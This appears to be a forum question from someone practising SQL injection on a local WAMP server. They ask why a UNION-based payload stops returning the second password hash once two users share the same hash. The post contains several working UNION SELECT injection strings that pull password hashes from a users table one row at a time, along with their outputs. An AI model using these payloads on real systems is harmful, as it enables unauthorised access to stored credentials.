Alright so I'm testing with some SQLi on localhost and I stumbled upon a really wierd "error" that I've never seen before.
I'm trying to get information from a database called "game" with a table called "users" (15 columns)
Here's the first part of the table:
http://i.gyazo.com/7e6c81ef2b235a778dec1fd343e8c3bf.png
The hashes are "test" and "test1".
So I'll get the first hash with
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 0,1--+-
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
Let's continue, we move to the other row with
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-
and it gets b444ac06613fc8d63795be9ad0beaf55011936ac
So everything's working correctly, HOWEVER if I would change the users hashes so they have the same as
http://i.gyazo.com/df1154a02cae5e5bbde04d7e47256899.png
then our second injection doesn't work anymore
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-
it returns nothing how and why is this possible and most importantly how would I fix this? I only want it to get 1 result at a time, not more.
I'm testing on a Windows 7 machine using Wamp.
The query being executed is
SELECT *
FROM users
WHERE id='-1'
UNION
SELECT concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15
from game.users
limit 1,1